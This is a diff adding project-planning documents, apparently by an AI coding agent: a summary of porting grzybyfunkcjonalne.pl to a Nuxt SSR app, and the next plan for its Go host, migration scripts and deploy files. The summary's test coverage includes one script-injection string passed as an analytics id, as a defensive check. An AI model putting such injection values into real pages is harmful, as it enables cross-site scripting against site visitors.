+    - ../sm-grzybyfunkcjonalne-app/.gitmodules
+
+key-decisions:
+  - "Under routeRules swr the site app records the visitor address in event.context on the Nitro request hook and overrides useJournalApi to forward it, because Nitro's cached handler strips request headers and every SSR cache miss would otherwise share one Go rate-limit bucket; the proper fix belongs in vue-journal-layer (deferred-items.md)"
+  - "Page URLs of the site answer errors with the HTML error page even for fetch-like requests (server/plugins/html-errors.ts); only /api/, /_ and .json paths keep Nuxt's JSON errors"
+  - "Site rich-text copy stays in pl.json with i18n compilation.strictMessage false; contact data (email, phone) lives in app/data/contact.ts because an email address is not a valid vue-i18n message"
+  - "The host sm-grzybyfunkcjonalne-app master was pushed to its empty remote together with the submodule mount"
+
+patterns-established:
+  - "App-side SSR smoke: layer smoke-ssr.mjs with app fixtures built from the PHP export by a script, one expectations file per environment variant"
+
+requirements-completed: [SC-1, SC-3]
+
+coverage:
+  - id: D1
+    description: "The site app extends vue-journal-layer v0.1.0 from the git tag (lockfile commit 783426c), builds as an SSR Node server with swr route rules and is mounted as a submodule of sm-grzybyfunkcjonalne-app (D-04, D-07, D-08)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app install --frozen-lockfile && build -> ok; git -C ../sm-grzybyfunkcjonalne-app ls-files -s vue-grzybyfunkcjonalne-app -> 160000 b50c808"
+        status: pass
+      - kind: integration
+        ref: "go -C ../sm-grzybyfunkcjonalne-app vet ./... && go test ./... -run '^(TestBootUserTranslateJournal)$' -> PASS"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Every D-15 URL form answers with the expected status: post by pl slug 200, base slug 404, /cordyceps with content, /amanita-muscaria 200, unknown roots, /rss, /feed, /404, /error 404, /blog?page=2 200, ?page=3 404, /en/blog 404, /autor/admin 200, /autor/nobody 404, /rss.xml RSS, sitemap entries (D-15, D-16, D-24)"
+    requirement: SC-3
+    verification:
+      - kind: integration
+        ref: "pnpm run smoke:ssr -> smoke-ssr: ok (35 checks), tests/fixtures/expect.txt"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Homepage (hero, latest 3 posts, about, CTA, reasons, FAQ with 16 entries), menu with all 7 categories, footer, /kontakt with mailto and no form, /trwaja-prace, the PHP 404 copy and the blog header carry the live Polish copy (D-11, D-12, D-14)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "tests/fixtures/expect.txt homepage, kontakt, trwaja-prace, /404 and /blog lines in smoke:ssr (35 checks ok); ! grep -rn '<form' app -> no match"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "Google Analytics G-MLSV7WJ6W4 loads only with NUXT_PUBLIC_GA_ID; empty or malformed ids give no script (D-23, T-16-07)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "smoke:ssr '200 / notcontains=googletagmanager'; pnpm run smoke:ga -> smoke-ssr: ok (2 checks)"
+        status: pass
+      - kind: command
+        ref: "node -e gaHeadScripts('') / gaHeadScripts(\"G-ABC');alert(1);//\") / gaHeadScripts('UA-123') -> [] each"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "The refreshed design (Jost/Open Sans, green palette, roomier sections) reads as a cleaner successor of the arsha look on desktop and mobile (D-01, D-03)"
+    verification: []
+    human_judgment: true
+    rationale: "Visual quality is a judgment call; the smoke only proves markup, copy and that components hold no colour literals. 16-04's staging checkpoint is the natural place to look at it."
+
+duration: 16 min
+completed: 2026-10-09
+---
+
+# Phase 16 Plan 02: vue-grzybyfunkcjonalne-app Summary
+
+**grzybyfunkcjonalne.pl is now a Nuxt 4 SSR app that extends `vue-journal-layer` v0.1.0 from its git tag. It answers the PHP site's URLs (`/blog`, `/blog/:slug`, `/:category`, `/autor/:author`, `/kontakt`, `/trwaja-prace`) with full HTML, returns real 404s where the PHP site soft-200'd, and carries the live Polish homepage, menu, FAQ, footer and error copy in a refreshed green design. Analytics loads only from `NUXT_PUBLIC_GA_ID`. The app is pushed (private, SSH) and mounted as a submodule of `sm-grzybyfunkcjonalne-app`.**
+
+## Performance
+
+- **Duration:** 16 min (wall clock as measured by `date`)
+- **Started:** 2026-10-09T16:11:41Z
+- **Completed:** 2026-10-09T16:28:10Z
+- **Tasks:** 3 (Task 1 a tracer, auto-verified end to end before expansion)
+- **Files:** 44 tracked files in the new app repo; `.gitmodules` and the gitlink in the host
+
+## Accomplishments
+
+- **URL parity (D-15, D-16, D-24).** `journal.routes` is `{ index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false }`, with page sizes 12/10/10 as in `blog.htm`, `index.htm` and `autor.htm`. Static pages win over `/:category`.
+  - Unknown roots, `/rss`, `/feed`, `/404` and `/error` all answer 404.
+  - `/amanita-muscaria` answers 200 with an empty list.
+  - Posts answer on the Polish slug only, and `/en/blog` is a 404.
+- **SSR with swr (D-07).** `'/**'` is cached 300 s and `'/blog/**'` 120 s on the Node server. Pages stay full HTML.
+- **Content port (D-11, D-12, D-14).** All Polish copy comes from the live HTML (curl, 2026-10-09):
+  - Homepage: hero, latest 3 posts (layer `JournalPostCard`), "Czym są grzyby funkcjonalne?" with both rich-text columns, "Skorzystaj z wiedzy ekspertów", "Dlaczego warto?" with 4 reasons, and the FAQ (16 Q&A in `app/data/faq.pl.json`).
+  - `MAIN_MENU` is typed config. Its `journal-categories` dropdown lists all 7 categories from the API, the empty one included.
+  - Footer: address, `tel:` and `mailto:` links, footer and project links, X profile.
+  - `/kontakt` shows the contact details only, with no form.
+  - `/trwaja-prace` shows "Niebawem".
+  - `error.vue` shows the PHP 404 copy ("Nie Znaleziono / Nie znaleziono tej strony") or the error copy ("Wystąpił Błąd / Spróbuj ponownie za chwilę").
+  - The blog hero overrides `JournalIndexHeader`: "Artykuły" with "Przeczytaj nasze artykuły…", plus "Strona N" after page 1.
+- **Design (D-01, D-03).**
+  - Colours: `tokens.css` overrides `--journal-*` on `:root:root` and adds `--site-*` tokens seeded from #0D705D, #27AE60, #138C74, #1AAC8F and #444444.
+  - Fonts: Jost for headings and Open Sans for body text, self-hosted by `@nuxt/fonts`.
+  - `base.css` holds the global styles with breakpoints at 768px and 1100px. Components contain no colour literals.
+  - The layer is unchanged.
+- **Analytics (D-23).** `gaHeadScripts(id)` returns nothing for an empty id or one that fails `GA_ID_PATTERN`. Otherwise it returns the gtag loader and config script. `app.vue` feeds it `runtimeConfig.public.gaId`.
+- **SEO.**
+  - `robots.txt` disallows `/gfadmin` and `/_journal`.
+  - The sitemap lists posts and every category but not `/trwaja-prace`.
+  - `linkChecker` skips Go-served paths.
+  - Titles take the form `Witamy | Grzyby Funkcjonalne` (the homepage), as on the live site.
+- **Tests.** `tests/fixtures/api` holds 14 published posts generated from the PHP journal export (pl text, Go wire dates, the admin author the 16-03 runbook assigns) and the 7 PHP categories. `smoke:ssr` runs 35 checks and `smoke:ga` runs 2.
+
+## Task Commits
+
+App repo `vue-grzybyfunkcjonalne-app` (branch `main`, pushed over SSH):
+
+1. **Task 1 (tracer): the app on layer v0.1.0 with the PHP URL map, mounted in the host.** `2b2d1c7` (feat). Host: `467d0a0` (chore: mount vue-grzybyfunkcjonalne-app submodule).
+2. **Task 2: homepage, typed menu, FAQ and footer.** `caf4d3f` (feat). Host: `6063e9b` (chore: point vue-grzybyfunkcjonalne-app at the homepage).
+3. **Task 3: kontakt, trwaja-prace, error pages, blog header, runtime GA and README.** `b50c808` (feat). Host: `33bc5e0` (chore: point vue-grzybyfunkcjonalne-app at kontakt and analytics).
+
+The tracer gate was auto mode off, `end-of-phase` and automated-only `<verify>`. The tracer verify was re-run (install, build, smoke, gitlink, host vet and boot test all passed) before expansion.
+
+**Remote state:**
+
+- App `refs/heads/main` is at `b50c808`.
+- The host `master` is at `33bc5e0`. The remote was empty, so this was its first push, made together with the mount.
+
+**Plan metadata:** the docs commit in summercms.go (this SUMMARY, `deferred-items.md`, STATE, ROADMAP, REQUIREMENTS).
+
+## Files Created/Modified
+
+All of these are in `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (new repository) unless noted:
+
+- `package.json`, `pnpm-lock.yaml`, `pnpm-workspace.yaml`, `.nvmrc`, `.gitignore`, `tsconfig.json`: the package.
+  - Scripts: build, dev, preview, prepare, `smoke:ssr` and `smoke:ga`.
+  - Dependencies: nuxt 4.4.8, vue 3.5.35 and the layer tag. The layer's modules are not re-listed.
+- `nuxt.config.ts`: config for the layer, routes, i18n, site, routeRules, runtime config, robots, sitemap, linkChecker, css and fonts.
+- `app/app.vue` and `app/error.vue`; `app/layouts/default.vue` (header, main, footer, with Journal routes inside `.journal-layout`).
+- `app/pages/{index,kontakt,trwaja-prace}.vue`.
+- `app/components/{SiteHeader,SiteFooter,HeroSection,LatestPosts,AboutSection,CtaSection,ServicesSection,FaqSection,PageHero}.vue` and `app/components/Journal/IndexHeader.vue`.
+- `app/data/{menu.ts,contact.ts,faq.pl.json}`, `app/utils/analytics.ts`, `app/composables/useJournalApi.ts`.
+- `server/plugins/{client-address,html-errors}.ts`.
+- `app/assets/css/{tokens,base}.css`, `i18n/locales/pl.json`.
+- `public/favicon.ico`, `public/images/{hero-forest.webp,cta.png}`.
+- `tests/fixtures/api/{posts,categories,tags,authors}.json`, `tests/fixtures/api/rss.xml`, `tests/fixtures/{expect,expect-ga}.txt`.
+- `README.md`.
+- In the host: `../sm-grzybyfunkcjonalne-app/.gitmodules` and the `vue-grzybyfunkcjonalne-app` gitlink.
+
+## Decisions Made
+
+See `key-decisions` in the frontmatter. Smaller choices:
+
+- **Button targets.** The hero "Czytam", the CTA "Czytam" and "Poznaj naszą misję" all link to `/blog`. On the live site they pointed at `#`.
+- **Homepage meta description.** It is the live one, "Odkryj Sekrety Natury dla Lepszego Zdrowia". `site.description` keeps the tagline.
+- **Footer labels.** They read "Telefon" and "E-mail". The live labels were the English "Phone number" and "Email".
+- **FAQ heading.** It is kept verbatim from the live page, including its typo ("Grzyby funcjonalne - Pytania i Odpowiedzi").
+- **Social link.** The live footer renders no social links, but the sitemanager data holds `https://x.com/ophiel118`, which the plan names. The footer shows it.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 2 - Missing critical] Visitor address lost on swr-cached SSR renders**
+- **Found during:** Task 1 (first smoke run: `smoke-ssr: FAIL x-forwarded-for not forwarded`).
+- **Issue:** Nitro's cached handler (used for `routeRules` swr) renders from a request copy that keeps only `varies` headers. The layer's `useJournalApi` therefore forwarded only the Nuxt peer address. Every cache miss, including attacker-chosen query strings, would share the Go limiter's 120/min bucket (Pitfall 5, T-16-03).
+- **Fix:**
+  - `server/plugins/client-address.ts` records `x-forwarded-for` plus the peer in `event.context` on the Nitro `request` hook. The context object is shared with the cached render.
+  - `app/composables/useJournalApi.ts` overrides the layer composable (the project wins over a layer by import priority) and forwards that value.
+  - The layer is unchanged. The layer fix is logged in `deferred-items.md`.
+- **Files modified:** `server/plugins/client-address.ts`, `app/composables/useJournalApi.ts` (both new, outside the plan's file list).
+- **Verification:** The smoke's forwarding assertion passes on every run.
+- **Commit:** 2b2d1c7.
+
+**2. [Rule 3 - Blocking] Nuxt answered error pages with JSON to the smoke's fetch**
+- **Found during:** Task 2 (inspecting `/nieistnieje`).
+- **Issue:** Node's fetch sends `sec-fetch-mode: cors`, so Nuxt's error handler returned JSON. The plan's `404 /404 contains=Nie znaleziono tej strony` could never pass. A curl-based check would hit the same thing.
+- **Fix:** `server/plugins/html-errors.ts` adds `text/html` to `Accept` for page paths that do not ask for JSON. `/api/`, `/_…` and `.json` paths keep Nuxt's behaviour. Client navigation uses `_payload.json`, so it is unaffected.
+- **Verification:** `404 /404 contains=Nie znaleziono tej strony` passes.
+- **Commit:** b50c808.
+
+**3. [Rule 1 - Bug in plan data] Homepage "latest post" expectation**
+- **Issue:** The plan's line `200 / contains=Najnowsze Badania nad Cordycepsem` assumed the cordyceps post is among the 3 newest. With the real export dates (2024-06-12) and a fixture set covering all 6 categories, it is not. The 3 newest are Lion's Mane posts from October 2024.
+- **Fix:** The fixtures keep the true dates. The homepage lines check the actual newest titles ("Jak Dawkować Lion…", "Wprowadzenie do Grzyba Lwia Grzywa"), which matches the acceptance wording "the latest post title from the fixtures". The cordyceps title is still checked on its own post page.
+- **Commit:** caf4d3f.
+
+**4. [Rule 3 - Blocking] `smoke:ga` could not observe forwarding with a single `/` line**
+- **Issue:** `nuxt-server.mjs`'s readiness probe renders `/` into the swr cache, so the GA run's `/` request made no API call. The smoke's forwarding assertion then failed.
+- **Fix:** `expect-ga.txt` also checks the gtag config on `/blog`, an uncached page.
+- **Commit:** b50c808.
+
+**5. [Rule 3 - Blocking] Build constraints**
+- `app.head.htmlAttrs.lang` was removed after nuxt-seo-utils flagged it. i18n renders `lang="pl-PL"`.
+- `i18n.compilation.strictMessage: false` was added, because `@nuxtjs/i18n` rejects HTML in locale messages by default and the plan stores the about columns as HTML strings in `pl.json`. All such HTML is still gated before `v-html`.
+- **Commits:** 2b2d1c7, caf4d3f.
+
+**6. [Scope adjustment] favicon.ico**
+- The live `/favicon.ico` is a soft-200 HTML page, so there were no original bytes to keep.
+- `public/favicon.ico` (16/32/48) was converted with ImageMagick from the live icon (`thumb_105_64…webp`). The hero and CTA images are byte-identical copies.
+- **Commit:** caf4d3f.
+
+---
+
+**Total deviations:** 6 (2 Rule 2/3 security and correctness fixes in new app files, 1 plan-data correction, 2 build/test blockers, 1 asset substitution).
+**Impact on plan:** All artifacts and key links in the plan exist. The two server plugins and the composable override are additions; they change no route, option or copy.
+
+## Issues Encountered
+
+- **pnpm store workaround.** The sandbox `/tmp` pnpm store is read-only, so installs ran with `TMPDIR=<scratchpad>` and `npm_config_store_dir`/`pnpm_config_store_dir` pointed at the project-drive store, as in 16-01.
+- **Font metadata fetches.** `@nuxt/fonts` retries metadata fetches to fonts.bunny.net and api.fontshare.com, which the sandbox blocks. These are warnings only, and the builds succeed.
+- **Pre-existing host state.** The host working tree shows ` m plugins/golem15/journal` (submodule working tree drift) and an untracked `.gsd/`. Both predate this plan and were left alone; only `.gitmodules` and the app gitlink were committed.
+- **Host push.** The host remote `sm-grzybyfunkcjonalne-app` had no branches (`origin/master [gone]`). Pushing `master` created it with the full local history.
+
+## Known Stubs
+
+None. Every section renders real data or committed copy.
+
+`featured_image_url` is `null` in the fixtures because the export carries no images; 16-03 migrates them. Cards then render without an image, the same as for any post without one.
+
+## Threat Flags
+
+| Flag | File | Description |
+|------|------|-------------|
+| threat_flag: header-trust | server/plugins/client-address.ts | Copies the client-supplied `x-forwarded-for` plus the peer address into the SSR fetch header, the same values the layer forwards. Go reads the rightmost untrusted hop and trusts only 127.0.0.1, so a client still cannot pick another visitor's bucket. Same trust model as T-16-03. |
+| threat_flag: error-format | server/plugins/html-errors.ts | Rewrites `Accept` on page paths so errors render as HTML. It does not touch `/api/`, `/_…` or `.json` paths and does not expose more data than the JSON error did. |
+
+## User Setup Required
+
+None for this plan. Production sets `NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4` through the 16-03 env template.
+
+## Next Phase Readiness
+
+- **16-03** builds `.output` from the submodule and runs it with `NUXT_JOURNAL_API_BASE` and `NUXT_SITE_INDEXABLE=false` on staging.
+  - Its curl-based smoke gets HTML error pages for page paths thanks to `html-errors.ts`.
+  - The Go limiter must trust 127.0.0.1 so the forwarded XFF is honoured; the host `config/http.yaml` already does.
+- **16-05** unit tests:
+  - `app/utils/analytics.ts` (`GA_ID_PATTERN`, `gaHeadScripts`) and `app/data/*` shape checks (16 FAQ items, `MAIN_MENU` kinds) can run under `node --test`.
+  - The two server plugins are small enough to unit-test with a stub event.
+- **Layer follow-ups** are in `deferred-items.md`: forward the client address under swr in the layer, and give the smoke tool an `Accept: text/html` default.
+
+## Self-Check: PASSED
+
+- FOUND: app files `nuxt.config.ts`, `app/data/menu.ts`, `app/data/faq.pl.json`, `app/utils/analytics.ts`, `tests/fixtures/expect.txt`, `tests/fixtures/expect-ga.txt`, `README.md`, and the host `.gitmodules` entry with url `git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git`.
+- FOUND: app commits 2b2d1c7, caf4d3f and b50c808 on origin/main; host commits 467d0a0, 6063e9b and 33bc5e0 on origin/master.
+- Plan verification:
+  - `pnpm install --frozen-lockfile` and `build` both passed.
+  - `smoke:ssr` printed `smoke-ssr: ok (35 checks)` and `smoke:ga` printed `smoke-ssr: ok (2 checks)`.
+  - The host gitlink is `160000 b50c808`, and host `go vet ./...` and `TestBootUserTranslateJournal` pass.
+  - The `<form` grep over `app/` and the hex-colour grep over components and pages match nothing.
+  - The lockfile pins `783426c5d84c5d7c088f1e74b01c5240811c88d2` (tag v0.1.0).
+
+---
+*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
+*Completed: 2026-10-09*

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-PLAN.md

@@ -0,0 +1,327 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 03
+type: execute
+wave: 3
+depends_on: ["16-02"]
+files_modified:
+  - ../sm-grzybyfunkcjonalne-app/config/backend.yaml
+  - ../sm-grzybyfunkcjonalne-app/boot_test.go
+  - ../sm-grzybyfunkcjonalne-app/summer.yaml
+  - ../sm-grzybyfunkcjonalne-app/go.work
+  - ../sm-grzybyfunkcjonalne-app/go.mod
+  - ../sm-grzybyfunkcjonalne-app/go.sum
+  - ../sm-grzybyfunkcjonalne-app/main.go
+  - ../sm-grzybyfunkcjonalne-app/plugins.gen.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/map.jsonl
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/categories/map.jsonl
+  - ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
+  - ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
+  - ../sm-grzybyfunkcjonalne-app/scripts/build.sh
+  - ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
+  - ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
+  - ../sm-grzybyfunkcjonalne-app/scripts/php-export/featured-images.sql
+  - ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql
+  - ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
+  - ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
+  - ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf
+  - ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
+  - ../sm-grzybyfunkcjonalne-app/deploy/env.example
+  - ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
+  - ../sm-grzybyfunkcjonalne-app/README.md
+  - ../sm-grzybyfunkcjonalne-app/.gitignore
+  - .planning/todos/pending/journal-imported-html-admin-resave.md
+autonomous: true
+requirements: [SC-1, SC-3]
+user_setup:
+  - service: local PostgreSQL (rehearsal database)
+    why: "Docker is not usable for this user, so scripts/smoke.sh needs a Postgres >= 15 with ICU and a role that may CREATE DATABASE to rehearse the migration runbook on a throwaway database"
+    env_vars:
+      - name: SMOKE_ADMIN_DSN
+        source: "A DSN to the local postgres maintenance database for a role with CREATEDB, e.g. postgres://<role>:<password>@127.0.0.1:5432/postgres?sslmode=disable"
+estimate:
+  tokens: 140000
+  raw_tokens: 140000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-09: the admin is mounted at /gfadmin through backend.uri: /gfadmin in config/backend.yaml; no assembled route starts with /backend, and nginx answers 404 for /backend."
+    - "D-22: grzyby:import-featured-images reads a JSONL slug-to-file map from a PHP database query, copies each original into the Go bucket under its Winter disk name (attach.BlobKey) and inserts the system_files row for the Journal post, so old /storage/app/uploads/public/... image URLs keep resolving; a second run creates nothing."
+    - "D-21: grzyby:import-categories fills each Journal category's name, description and rich content field from a PHP database query, preferring the pl translation, and the category pages then render that content."
+    - "D-25: scripts/migrate.sh runs migrate, then makes pl the only default locale and asserts it, then imports the journal export exactly once into a fresh database and refuses a database that already holds posts."
+    - "D-17: the runbook imports posts with journal:import-posts from the PHP journal export, copies storage/app/media and the featured images, and reports gaps instead of patching them (two UAT-host image references stay broken and are listed)."
+    - "D-07/D-10: deploy files run two supervisor programs (Go on 127.0.0.1:8096, Nuxt on 127.0.0.1:3016) behind one staging nginx vhost on the PHP server; nginx sends /gfadmin and /_journal to Go, image files under /storage/app/{uploads/public,media} to disk with nosniff, and everything else to Nuxt."
+    - "D-15/D-18: scripts/urls.txt lists every URL in the live sitemap plus the static and negative cases, and scripts/smoke.sh checks each one either against a local rehearsal (Go + Nuxt + imported posts) or against a base URL."
+    - "D-14/Phase 15 D-14: no new Go HTTP endpoint is added; the app plugin only adds console commands."
+    - "D-15: /autor/<slug> keeps resolving by assigning the imported posts to a named admin author through migrate.sh (--author-login, --author-slug)."
+    - "Pitfall 2 is documented: imported posts must not be re-saved in /gfadmin until the Journal HTML-content follow-up lands (todo recorded)."
+  artifacts:
+    - path: "../sm-grzybyfunkcjonalne-app/config/backend.yaml"
+      provides: "admin mount path"
+      contains: "uri: /gfadmin"
+    - path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go"
+      provides: "grzyby:import-featured-images and ImportFeaturedImages core"
+      contains: "grzyby:import-featured-images"
+    - path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go"
+      provides: "grzyby:import-categories and ImportCategories core"
+      contains: "grzyby:import-categories"
+    - path: "../sm-grzybyfunkcjonalne-app/scripts/migrate.sh"
+      provides: "ordered runbook: migrate, pl default, import once, categories, media, featured images, author"
+      contains: "is_default"
+    - path: "../sm-grzybyfunkcjonalne-app/scripts/smoke.sh"
+      provides: "local rehearsal on a throwaway database or --url checks over urls.txt"
+      contains: "urls.txt"
+    - path: "../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf"
+      provides: "staging vhost with Go/Nuxt/disk routing"
+      contains: "nosniff"
+    - path: "../sm-grzybyfunkcjonalne-app/scripts/urls.txt"
+      provides: "every live sitemap URL plus static and negative cases"
+      contains: "/blog/blogbadania-nad-cordycepsem"
+  key_links:
+    - from: "../sm-grzybyfunkcjonalne-app/summer.yaml"
+      to: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go"
+      via: "plugin golem15.grzyby registered by summer plugin:add; summer build regenerates plugins.gen.go"
+      pattern: "golem15.grzyby"
+    - from: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go"
+      to: "summercms.go/modules/lagoon/attach (BlobKey, File)"
+      via: "blob key PartitionDirectory(disk_name)+disk_name; system_files row with attachment_type Golem15\\Journal\\Models\\Post and field featured_images"
+      pattern: "attach.BlobKey"
+    - from: "../sm-grzybyfunkcjonalne-app/scripts/migrate.sh"
+      to: "golem15_translate_locales"
+      via: "UPDATE ... SET is_default = (code = 'pl') before journal:import-posts"
+      pattern: "code = 'pl'"
+    - from: "../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf"
+      to: "127.0.0.1:8096 and 127.0.0.1:3016"
+      via: "proxy_pass with Host and X-Forwarded-For"
+      pattern: "proxy_add_x_forwarded_for"
+---
+
+## Phase Goal
+
+ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
+
+MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
+
+This plan's slice: on a throwaway database the Go host migrates, imports the PHP journal export with pl as default, attaches a featured image under its Winter disk name and serves it through the Journal API with the admin at /gfadmin; then the runbook, deploy files and a URL-by-URL rehearsal of the whole site grow from that path.
+
+<objective>
+Turn `sm-grzybyfunkcjonalne-app` into the deployable host: admin at /gfadmin (D-09), an app-local plugin with the featured-image (D-22) and category-content (D-21) commands, the ordered migration runbook (D-25, D-17), two-process deploy files for staging next to the PHP site (D-07, D-10), and `urls.txt` plus `smoke.sh` that rehearse every old URL locally (D-15, D-18).
+
+Purpose: SC-1 (served by the SummerCMS binary) and the URL half of SC-3.
+Output: host config, plugin `golem15.grzyby`, scripts, deploy configs and README, verified by a local rehearsal.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-SUMMARY.md
+@../sm-grzybyfunkcjonalne-app/boot_test.go
+@../sm-grzybyfunkcjonalne-app/summer.yaml
+@../sm-grzybyfunkcjonalne-app/config/backend.yaml
+@../sm-grzybyfunkcjonalne-app/config/storage.yaml
+@../sm-grzybyfunkcjonalne-app/config/http.yaml
+@../sm-journal-plugin/console/import_posts.go
+@../sm-journal-plugin/console/export_posts.go
+@../sm-summercmsio-app/scripts/smoke.sh
+@../sm-summercmsio-app/scripts/check-deploy.sh
+@../sm-summercmsio-app/scripts/build.sh
+@../sm-summercmsio-app/deploy/nginx/summercms.io.conf
+@../sm-summercmsio-app/deploy/supervisor/summercms-io.conf
+@../sm-summercmsio-app/deploy/env.example
+
+<interfaces>
+Framework and plugin APIs this plan calls (read from source, do not re-derive):
+- summer CLI (summercms.go/cmd/summer): `make:plugin <vendor.plugin>` scaffolds plugins/<name> as module <app module>/plugins/<name> with plugin.go and go.mod; `plugin:add <dir>` registers a local plugin module in summer.yaml, go.work and the app go.mod; `build` regenerates main.go and plugins.gen.go (never hand-edit those two files).
+- bonfire.Command { Name, Description, Flags []bonfire.Flag{ Name, Description, Bare }, Run func(ctx, bonfire.Input, bonfire.Output) error }; in.Flag(name) (string, bool); out.Info, out.Warning, out.Error.
+- pact.HasCommands: Commands() []bonfire.Command (main.go appends them); party.Register(&Plugin{}) in init; Plugin has ID(), Requires(), Register(*backpack.App), Boot(*backpack.App).
+- app.Lookup[*gorm.DB]() and app.Lookup[*blob.Bucket]() (gocloud.dev/blob); attach.OpenBucket(ctx, app.Config) opens the configured bucket (config/storage.yaml uploads.bucket_url file://./storage/app/uploads/public).
+- attach.PartitionDirectory(diskName), attach.BlobKey(diskName) = PartitionDirectory(diskName)+diskName, attach.File { DiskName, FileName, FileSize, ContentType, Field, AttachmentID string, AttachmentType, IsPublic *bool, SortOrder } on table system_files; f.URL() gives /storage/app/uploads/public/<partition>/<disk_name>.
+- Journal: models.Post (golem15_journal_posts, slug host column, MorphName Golem15\Journal\Models\Post), models.Category (golem15_journal_categories, name, slug, description, plus the D-21 field named in the 16-01 Prerequisite contract); journal:import-posts --path DIR [--dry-run] [--force].
+- cabana backend.uri: one or more lowercase path segments; boot fails on an invalid value; env override SUMMER_BACKEND__URI.
+- Translate: golem15_translate_locales (code, is_default, is_enabled); seeded default is en (Pitfall 1).
+</interfaces>
+</context>
+
+## Spec-less probe fallback
+
+Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
+
+## Artifacts this phase produces
+
+- Config key value `backend.uri: /gfadmin` (`config/backend.yaml`).
+- App-local plugin `golem15.grzyby` at `plugins/grzyby` (module `git.golem15.com/golem15/sm-grzybyfunkcjonalne-app/plugins/grzyby`, package `grzyby`, `Requires()` = `golem15.journal`, implements `pact.HasCommands`), listed in `summer.yaml`, `go.work` and the host `go.mod`.
+- CLI commands `grzyby:import-featured-images --map <jsonl> --source <dir> [--export <dir>] [--dry-run]` and `grzyby:import-categories --map <jsonl> [--dry-run]`.
+- Go symbols in `plugins/grzyby/console`: `FeaturedImageEntry`, `FeaturedImageOptions`, `FeaturedImageStats`, `ReadFeaturedImageMap`, `ImportFeaturedImages`, `ImportFeaturedImagesCommand`; `CategoryEntry`, `CategoryStats`, `ReadCategoryMap`, `ImportCategories`, `ImportCategoriesCommand`; helpers `flagOrDefault`, `flagOn`, `lookupDB`, `lookupBucket`, `validDiskName`.
+- Scripts `scripts/migrate.sh` (flags `--bin`, `--workdir`, `--export`, `--featured-map`, `--uploads`, `--categories-map`, `--media`, `--author-login`, `--author-slug`, `--dry-run`), `scripts/smoke.sh` (local rehearsal; `--go-only`; `--url <base>`; env `SMOKE_ADMIN_DSN`, `SMOKE_EXPORT_DIR`, `SMOKE_GO_PORT`, `SMOKE_NUXT_PORT`), `scripts/build.sh`, `scripts/check-deploy.sh`, `scripts/urls.txt` (grammar `[remote] STATUS PATH [contains=…] [notcontains=…] [type=…]`), `scripts/php-export/{featured-images.sql,categories.sql,README.md}`.
